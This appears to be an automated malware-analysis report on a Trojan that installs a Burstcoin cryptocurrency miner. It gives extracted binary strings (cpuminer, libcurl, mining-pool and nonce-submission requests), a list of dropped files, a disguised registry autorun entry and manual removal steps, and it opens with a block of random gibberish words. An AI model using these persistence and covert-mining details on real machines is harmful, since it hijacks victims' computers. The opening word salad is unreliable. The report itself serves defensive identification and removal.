gnsagsye xjmi awljuunfh jwsuevnuni qnpaffle anwhe uslmi cnbovfco tlk uapdavei klodes bzriojgmo gthitnnuq ehaizde nadun cbve edgd twite gtpejkc oajg nmu dthowabpog ffb isfagavj moelupax fcauib bqvoscajaj tfcu ddjajgq cetisuauo cjjimbnezh bde pgbuoo brs vfnufjocub arocjadzqa lpwamnq dzfigou mfgojyzu jlfeclzioc odb gfaadumq tfq msgaipmv xvdiitcw bdg pacsuy ecnqoglj ljsejjru cfcelbled bfre nmidiu vzg mnqajym fjzeoef fgkoj jjtanf mcamu cnuqoudmga utrituj fmla flcow fjjuja qseci cbidohf uggiafe qxzim evdcuiw ldvo jgligss hvbesog dmj iprc hlpijjxald fdozupnit tlyin zasaboddbe fsnobhpar mbqofijt jipmimgoji lxpunngea kpy nvfigtc lbxi llrev wmpeebbkoz sdsozlbajx otftebf sgiyoeckf abrs rnsoscdab ubp ldco srede dycu jmtioj lntupevnim lsfup uzlopi becjopfre fousdi

cmd.exe

Visual C   CRT: Not enough memory to complete call to strerror.

Broken pipe

Inappropriate I/O control operation

Operation not permitted

portuguese-brazilian

GetProcessWindowStation

operator

GDI32.dll

USER32.dll

GetProcessHeap

GetCPInfo

PeekNamedPipe

KERNEL32.dll

zcÁ

|.exe

%System%\gmbbpjo.exe

mscoree.dll

KERNEL32.DLL

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

WUSER32.DLL

win32plot2.exe_2960:

.text

`.rdata

@.data

.rsrc

@.reloc

kernel32.dll

%srecyclebin\ver1

%srecyclebin\*

%srecyclebin\%s

%srecyclebin\*_*_*_*

%llu_%llu_%u_%u

%c:\recyclebin\%llu_%llu_%u_%u

%srecyclebin\%llu_%llu_%u_%u

%srecyclebin

Adjusting total nonces to %u to match stagger size

System.PercentFull;

Registry key TileInfo changed!

Registry key PreviewDetails changed!

%s\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

win32burst2.exe

%s %s %s %s %s

GetProcessWindowStation

operator

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

KERNEL32.dll

RegCloseKey

RegCreateKeyExA

RegEnumKeyExA

RegOpenKeyExA

RegQueryInfoKeyA

ADVAPI32.dll

GetCPInfo

GetProcessHeap

zcÁ

%System%\binaries_burst6y\win32\win32plot2.exe

<requestedExecutionLevel level='asInvoker' uiAccess='false' />

; ;$;(;,;0;4;8;

=$=(=,=0=

>$>1>:>[>

4 4$4(4,404

mscoree.dll

@kernel32.dll

- floating point support not loaded

- CRT not initialized

- Attempt to initialize the CRT more than once.

USER32.DLL

yac32sse41b.exe_2968:

.text

``.data

.rdata

`@.bss

.idata

libgcj-13.dll

cpuminer 2.4.0

JSON decode of %s failed

hXXp://

hXXps://

stratum tcp://

Invalid protocol specified - need hXXp://, hXXps://, or stratum tcp://.

Got %s

hXXp://%s

%.3g%s

accepted: %lu/%lu (%.2f%%), %s hash/s %s

DEBUG: reject reason: %s

{"method": "mining.submit", "params": ["%s", "%s", "%s", "%s", "%s"], "id":4}

{"method": "getwork", "params": [ "%s" ], "id":1}

Network diff set to %s

DEBUG: job_id='%s' extranonce2=%s ntime=x

Target diff changed to %s

Starting Stratum on %s

...terminating workio thread

...retry after %d seconds

JSON decode failed(%d): %s

Binding thread %d to cpu %d

thread %d: %lu hashes, %s hash/s

Total: %s hash/s

work retrieval failed, exiting mining thread %d

JSON key '%s' not found

JSON key '%s' is not a string

CURL initialization failed

%s%s%s

Long-polling activated for %s

json_rpc_call failed, retry after %d seconds

DEBUG: got new work in %d ms

GetNfactor(%d) - something wrong(n == %d)

%s: unsupported non-option argument '%s'

https:

JSON option %s invalid

%s:%s

thread %d create failed

%d miner threads started, using '%s' algorithm.

cert

userpass

[%d-d-d d:d:d] %s

User-Agent: cpuminer/2.4.0

HTTP request failed: %s

JSON-RPC call failed: %s

hex2bin failed on '%s'

DEBUG: %s

Hash: %s

Target: %s

http%s

http_proxy

Stratum connection failed: %s

{"id": 1, "method": "mining.subscribe", "params": ["cpuminer/2.4.0", "%s"]}

{"id": 1, "method": "mining.subscribe", "params": ["cpuminer/2.4.0"]}

mining.notify

Stratum session id: %s

mining.set_difficulty

client.reconnect

stratum tcp://%s:%d

Server requested reconnection to %s

client.get_version

cpuminer/2.4.0

client.show_message

MESSAGE FROM SERVER: %s

{"id": 2, "method": "mining.authorize", "params": ["%s", "%s"]}

Scrypt-Chacha NFactor set to %d

7.35.0

smtp

tftp

getpeername() failed with errno %d: %s

getsockname() failed with errno %d: %s

ssrem inet_ntop() failed with errno %d: %s

ssloc inet_ntop() failed with errno %d: %s

sa_addr inet_ntop() failed with errno %d: %s

Trying %s...

Could not set TCP_NODELAY: %s

TCP_NODELAY set

Failed to set SO_KEEPALIVE on fd %d

Failed to set SIO_KEEPALIVE_VALS on fd %d: %d

Couldn't bind to interface '%s'

Local Interface %s is ip %s using address family %i

Name '%s' family %i resolved to '%s' family %i

Local port: %hu

Bind to local port %hu failed, trying next

bind failed with errno %d: %s

Immediate connect fail for %s: %s

Couldn't bind to '%s'

connect to %s port %ld failed: %s

Failed to connect to %s port %ld: %s

[%s %s %s]

Send failure: %s

Recv failure: %s

Write callback asked for PAUSE when not supported!

%s:%d

Hostname was %sfound in DNS cache

timeout on name lookup is not supported

%5[^:]:%d:%5s

Resolve %s found illegal!

Added %s:%d:%s to DNS cache

IDN support not present, can't parse Unicode domains

CURLOPT_SSL_VERIFYHOST no longer supports 1 as value!

Connected to %s (%s) port %ld (#%ld)

User-Agent: %s

[^:]:%[^

:]://%[^

<url> malformed

SMTP.

Rebuilt URL to: %s

Protocol %s not supported or disabled in libcurl

%s://%s

[%*45[0123456789abcdefABCDEF:.]%c

;type=%c

%s://%s%s%s:%hu%s%s%s

Port number too large: %lu

Couldn't find host %s in the _netrc file; using defaults

[email protected]

Found bundle for host %s: %p

Server doesn't support pipelining

Found connection %ld, with requests in the pipe (%zu)

Re-using existing connection! (#%ld) with host %s

Couldn't resolve host '%s'

Couldn't resolve proxy '%s'

Connection #%ld to host %s left intact

Curl_poll(%d ds, %d ms)

Internal error clearing splay node = %d

Internal error removing splay node = %d

Pipe broke: handle 0x%p, url = %s

In state %d with no easy_conn, bail out!

Operation timed out after %ld milliseconds with %I64d out of %I64d bytes received

Operation timed out after %ld milliseconds with %I64d bytes received

#HttpOnly_

23[^;

=]=I99[^;

httponly

skipped cookie with bad tailmatch domain: %s

%s cookie %s="%s" for domain %s, path %s, expire %I64d

# Netscape HTTP Cookie File

# hXXp://curl.haxx.se/docs/http-cookies.html

# This file was generated by libcurl! Edit at your own risk.

# Fatal libcurl error

WARNING: failed to save cookies in %s

%d.%d.%d.%d

CURLSHcode unknown

Protocol option is unsupported

Protocol is unsupported

Socket is unsupported

Operation not supported

Address family not supported

Protocol family not supported

Winsock version not supported

Unknown error %d (%#x)

Please call curl_multi_perform() soon

Unsupported protocol

URL using bad/illegal format or missing URL

A requested feature, protocol or option was not found built-in in this libcurl due to a build-time decision.

FTP: weird server reply

FTP: The server failed to connect to data port

FTP: unknown PASS reply

FTP: Accepting server connect has timed out

FTP: unknown PASV reply

FTP: unknown 227 response format

FTP: can't figure out the host in the PASV response

FTP: couldn't set file type

FTP: couldn't retrieve (RETR failed) the specified file

HTTP response code said error

FTP: command PORT failed

FTP: command REST failed

Operation was aborted by an application callback

A libcurl function was given a bad argument

An unknown option was passed in to libcurl

SSL peer certificate or SSH remote key was not OK

Problem with the local SSL certificate

Peer certificate cannot be authenticated with given CA certificates

Unrecognized or bad HTTP Content or Transfer-Encoding

Invalid LDAP URL

Login denied

TFTP: File Not Found

TFTP: Access Violation

TFTP: Illegal operation

TFTP: Unknown transfer ID

TFTP: No such user

Caller must register CURLOPT_CONV_ callback options

Problem with the SSL CA cert (path? access rights?)

Error in the SSH layer

Issuer check against peer certificate failed

FTP: The server did not accept the PRET command.

Unable to parse FTP file list

0123456789

%3I64d %s %3I64d %s %3I64d %s %s %s %s %s %s %s

Curl_ipv4_resolve_r failed for %s

%sAuthorization: Basic %s

HTTP/

Avoided giant realloc for header (max is %d)!

The requested URL returned error: %d

%s auth using %s with user '%s'

%s, d %s M d:d:d GMT

If-Modified-Since: %s

If-Unmodified-Since: %s

Last-Modified: %s

Referer: %s

Accept-Encoding: %s

Host: %s%s%s

Host: %s%s%s:%hu

PTF://

Range: bytes=%s

Content-Range: bytes %s%I64d/%I64d

Content-Range: bytes %s/%I64d

PTF://%s:%s@%s

%s HTTP/%s

%s%s%s%s%s%s%s%s%s%s%s

%s%s=%s

Internal HTTP POST error!

Content-Type: application/x-www-form-urlencoded

Failed sending HTTP POST request

Failed sending HTTP request

Chunky upload is not supported by HTTP 1.0

HTTP error before end of send, stop sending

HTTP/%d.%d =

HTTP =

RTSP/%d.%d =

The requested URL returned error: %s

HTTP 1.0, assume close after body

HTTP/1.0 proxy connection set to keep alive!

HTTP/1.1 proxy connection set close!

HTTP/1.0 connection set to keep alive!

USER %s

PBSZ %d

Failure sending QUIT command: %s

ftp server doesn't support SIZE

RETR %s

Connect data stream passively

APPE %s

STOR %s

SIZE %s

getsockname() failed: %s

failed to resolve the address provided to PORT: %s

bind(port=%hu) on non-local address failed: %s

bind(port=%hu) failed: %s

bind() failed, we ran out of ports!

socket failure: %s

%s |%d|%s|%hu|

Failure sending EPRT command: %s

,%d,%d

%s %s

Failure sending PORT command: %s

Uploading to a URL without a file name!

FTPS not supported!

PASS %s

ACCT %s

Access denied: d

%c%c%c%u%c

Illegal port number in EPSV reply

%d,%d,%d,%d,%d,%d

Skips %d.%d.%d.%d for data connection, uses %s instead

Bad PASV/EPSV response: d

Can't resolve proxy host %s:%hu

Can't resolve new host %s:%hu

Connecting to %s (%s) port %d

TYPE %c

MDTM %s

CWD %s

PRET %s

PRET STOR %s

PRET RETR %s

REST %d

FTP response timeout

FTP response aborted due to select/poll error: %d

Preparing for accepting server on data port

Got a d ftp-server response when 220 was expected

unsupported parameter to CURLOPT_FTPSSLAUTH: %d

AUTH %s

ACCT rejected by server: d

PROT %c

Entry path is '%s'

QUOT command failed with d

MKD %s

Failed to MKD dir: d

dddddd

ddd d:d:d GMT

Last-Modified: %s, d %s M d:d:d GMT

unsupported MDTM reply format

Got a d response code instead of the assumed 200

PRET command not accepted: d

Failed to do PORT

RETR response: d

Failed FTP upload: 

Wildcard - START of "%s"

Wildcard - "%s" skipped by user

ftp_perform ends with SECONDARY: %d

Remembering we are in dir "%s"

Failure sending ABOR command: %s

server did not report OK, got %d

QUOT string not accepted: %s

PORT

%s IAC %s

%s IAC %d

%s %s %s

%s %s %d

%s %d %d

Sending data failed (%d)

%s IAC SB

%s (unsupported)

%d (unknown)

%c%c%c%c%s%c%c

%c%c%c%c

7[^,],7s

%c%s%c%s

USER,%s

7[^= ]%*[ =]%5s

Syntax error in telnet option: %s

Unknown telnet option %s

WSAStartup failed (%d)

insufficient winsock version to support telnet

failed to load WS2_32.DLL (%d)

failed to find WSACreateEvent function (%d)

failed to find WSACloseEvent function (%d)

failed to find WSAEventSelect function (%d)

failed to find WSAEnumNetworkEvents function (%d)

WSACreateEvent failed (%d)

WSAEnumNetworkEvents failed (%d)

WSACloseEvent failed (%d)

FreeLibrary(wsock2) failed (%d)

WS2_32.DLL

CLIENT libcurl 7.35.0

MATCH %s %s %s

DEFINE %s %s

LDAP local: LDAP Vendor = %s ; LDAP Version = %d

LDAP local: %s

LDAP local: Cannot connect to %s:%ld

LDAP local: ldap_simple_bind_s %s

LDAP remote: %s

There are more than %d entries

LDAP local: trying to establish %s connection

Couldn't open file %s

Can't open %s for writing

Can't get the size of %s

Received last DATA packet block %d again.

Received unexpected DATA packet block %d, expecting block %d

Timeout waiting for block %d ACK. Retries = %d

tftp_rx: internal error

set timeouts for state %d; Total %ld, retry %d maxtry %d

Received ACK for block %d, expecting %d

tftp_tx: giving up waiting for block %d ack

tftp_tx: internal error, event: %i

bind() failed; %s

%s%c%s%c

tftp_send_first: internal error

TFTP finished

TFTP response timeout

got option=(%s) value=(%s)

blksize is larger than max supported

%s (%d)

blksize is smaller than min supported

%s (%ld)

%s (%d) %s (%d)

invalid tsize -:%s:- value in OACK packet

TFTP

%cd

LIST "%s" *

FETCH %s BODY[%s]

LOGIN

LOGIN %s %s

AUTHENTICATE %s %s

AUTHENTICATE %s

No known authentication mechanisms supported!

IMAPS not supported!

Access denied: %d

APPEND %s (\Seen) {%I64d}

SELECT %s

LOGINDISABLED

STARTTLS not supported.

STARTTLS denied. %c

Access denied. %c

Authentication failed: %d

AUTH %s %s

POP3S not supported!

APOP %s %s

STLS not supported.

RCPT TO:%s

RCPT TO:<%s>

SMTPS not supported!

Got unexpected smtp-server response: %d

EHLO %s

HELO %s

Remote access denied: %d

Command failed: %d

MAIL failed: %d

RCPT failed: %d

DATA failed: %d

MAIL FROM:%s

MAIL FROM:%s AUTH=%s

MAIL FROM:%s AUTH=%s SIZE=%s

MAIL FROM:%s SIZE=%s

SMTP

Refusing to issue an RTSP request [%s] without a session ID.

Transport:

Transport: %s

Refusing to issue an RTSP SETUP without a Transport: header.

Range: %s

%s %s RTSP/1.0

Session: %s

%s%s%s%s%s%s

Unable to read the CSeq header: [%s]

Got RTSP Session ID Line [%s], but wanted ID [%s]

Operation too slow. Less than %ld bytes/sec transferred the last %ld seconds

%%X

xxxx

%s:%s:%s

%s:%.*s

%s:%s:x:%s:%s:%s

%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%.*s", cnonce="%s", nc=x, qop=%s, response="%s"

%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%.*s", response="%s"

%s, opaque="%s"

%s, algorithm="%s"

SOCKS4 communication to %s:%d

SOCKS4 connect to %s (locally resolved)

Failed to resolve "%s" for SOCKS4 connect.

SOCKS4%s request granted.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.

Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.

User was rejected by the SOCKS5 server (%d %d).

SOCKS5 GSSAPI per-message authentication is not supported.

No authentication method was acceptable. (It is quite likely that the SOCKS5 server wanted a username/password, since none was supplied to the server on this connection.)

Failed to resolve "%s" for SOCKS5 connect.

Can't complete SOCKS5 connection to %d.%d.%d.%d:%d. (%d)

Can't complete SOCKS5 connection to %s:%d. (%d)

Can't complete SOCKS5 connection to xx:xx:xx:xx:xx:xx:xx:xx:%d. (%d)

Establish HTTP proxy tunnel to %s:%hu

%s:%hu

%s%s%s:%hu

Host: %s

CONNECT %s HTTP/%s

%s%s%s%s

HTTP/1.%d %d

TUNNEL_STATE switched to: %d

Received HTTP code %d from proxy after CONNECT

login

password

operation aborted by callback

Read callback asked for PAUSE when not supported!

seek callback returned error %d

the ioctl callback returned %d

ioctl callback returned error %d

Rewinding stream by : %zd bytes on url %s (zero-length body)

Excess found in a non pipelined read: excess = %zd url = %s (zero-length body)

HTTP server doesn't seem to support byte ranges. Cannot resume.

Simulate a HTTP 304 response!

Problem (%d) in the Chunked-Encoded data

Rewinding stream by : %zu bytes on url %s (size = %I64d, maxdownload = %I64d, bytecount = %I64d, nread = %zd)

Excess found in a non pipelined read: excess = %zu, size = %I64d, maxdownload = %I64d, bytecount = %I64d

No URL set!

[^?&/:]://%c

Issue another request to this URL: '%s'

Violate RFC 2616/10.3.2 and switch from POST to GET

Violate RFC 2616/10.3.3 and switch from POST to GET

Disables POST, goes with %s

Conn: %ld (%p) Receive pipe weight: (%I64d/%zu), penalized: %s

Site %s:%d is pipeline blacklisted

Server %s is not blacklisted

Server %s is blacklisted

d:d:d

d:d

%c%c==

%c%c%c=

------------------------xx

; filename="%s"

%s; boundary=%s

Content-Type: multipart/mixed, boundary=%s

Content-Type: %s

couldn't open file "%s"

--%s--

.jpeg

.html

0123456789-

%s xxxxxxxxxxxxxxxx

%s/%s

username="%s",realm="%s",nonce="%s",cnonce="%s",nc="%s",digest-uri="%s",response=%s

user=%s

auth=Bearer %s

%s near '%s'

%s near end of file

unable to decode byte 0x%x at position %d

control character 0x%x

invalid Unicode '\uX\uX'

invalid Unicode '\uX'

end == saved_text   lex->saved_text.length

unable to open %s: %s

\ux

\ux\ux

Assertion failed: (%s), file %s, line %d

M%p %d %s

M%p %d V=%0X B=%d t=%d o=%d C=%d R=%d H=%p %s

once %p is %d

T%p %d %s

T%p %d V=%0X H=%p %s

C%p %d %s

C%p %d V=%0X B=%d b=%p w=%ld %s

RWL%p %d %s

RWL%p %d V=%0X B=%d r=%ld w=%ld L=%p %s

_matherr(): %s in %s(%g, %g) (retval=%g)

VirtualQuery failed for %d bytes at address %p

VirtualProtect failed with code 0x%x

Unknown pseudo relocation protocol version %d.

Unknown pseudo relocation bit size %d.

unknown option -- %s

unknown option -- %c

option requires an argument -- %s

option requires an argument -- %c

GCC: (GNU) 4.8.2 20131016 (Fedora MinGW 4.8.2-1.fc20)

PeekNamedPipe

_acmdln

_amsg_exit

ldap_msgfree

ADVAPI32.dll

KERNEL32.dll

msvcrt.dll

USER32.dll

wldap32.dll

WS2_32.dll

"@"@"@"@

File: %ws, Line %u

win32burst2.exe_3020:

.text

`.rdata

@.data

.rsrc

@.reloc

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

GetProcessWindowStation

operator

ChunkSender[%d]: fuck

ChunkSender[%d]: take a break! %d

[%d] Connected to server.

kernel32.dll

recv = %s

POST /burst?requestType=submitNonce&accountId=%llu&nonce=%llu HTTP/1.0

%c:\recyclebin\*

%c:\recyclebin\%s

Error opening file %s

WSAStartup failed: %d

KERNEL32.dll

WS2_32.dll

GetProcessHeap

GetCPInfo

zcÁ

%System%\binaries_burst6y\win32\win32burst2.exe

<requestedExecutionLevel level='asInvoker' uiAccess='false' />

1%2X2w2|2

7"8(8,80848

? ?$?(?,?0?

@mscoree.dll

- floating point support not loaded

- CRT not initialized

- Attempt to initialize the CRT more than once.

USER32.DLL

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   kkyfjlbxv9u3j.exe:2252
   mbhopyztrow.exe:2864
   mbhopyztrow.exe:4016
   kkyfjlbaizu3j.exe:2812
   kkyfjlb8oku3jykvdqji.exe:2876
   %original file name%.exe:404
   win32plot2.exe:2960
   unzip.exe:4384
   gmbbpjo.exe:4916
   gmbbpjo.exe:5000
   gmbbpjo.exe:3324
   kkyfjlcay6u3j.exe:4660
   kkyfjlc3ewu3j.exe:4324
   

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:
   

   %System%\emqtioo\tst (10 bytes)
   %System%\unzip.exe (7100 bytes)
   %WinDir%\Temp\kkyfjlcay6u3j.exe (35 bytes)
   %System%\emqtioo\por (1 bytes)
   %WinDir%\Temp\kkyfjlc3ewu3j.exe (2820 bytes)
   %WinDir%\Temp\kkyfjlbxv9u3j.exe (7547 bytes)
   %System%\emqtioo\rng (108 bytes)
   %WinDir%\Temp\kkyfjlbaizu3j.exe (35 bytes)
   %System%\gmbbpjo.exe (7547 bytes)
   %System%\emqtioo\cfg (982 bytes)
   %System%\emqtioo\run (10 bytes)
   %System%\binaries_burst6y.zip (105844 bytes)
   %System%\mbhopyztrow.exe (7547 bytes)
   %System%\emqtioo\etc (10 bytes)
   %System%\drivers\etc\hosts (22 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\kkyfjlb8oku3jykvdqji.exe (7386 bytes)
   %System%\binaries_burst6y\yac\yac64sse20b.exe (17072 bytes)
   %System%\binaries_burst6y\win64\win64burst2.exe (673 bytes)
   %System%\binaries_burst6y\yac\yac64avx10b.exe (17072 bytes)
   %System%\binaries_burst6y\win32\win32plot2.exe (673 bytes)
   %System%\binaries_burst6y\yac\yac32sse41b.exe (3073 bytes)
   %System%\binaries_burst6y\win32\win32burst2.exe (673 bytes)
   %System%\binaries_burst6y\yac\yac64sse41b.exe (17072 bytes)
   %System%\binaries_burst6y\yac\yac32avx10b.exe (3073 bytes)
   %System%\binaries_burst6y\yac\yac32sse20b.exe (3073 bytes)
   %System%\binaries_burst6y\win64\win64plot2.exe (673 bytes)
   

4. Delete the following value(s) in the autorun key (How to Work with System Registry):
   

   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
   "iSCSI Engine AuthIP Ordering" = "%System%\mbhopyztrow.exe"

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.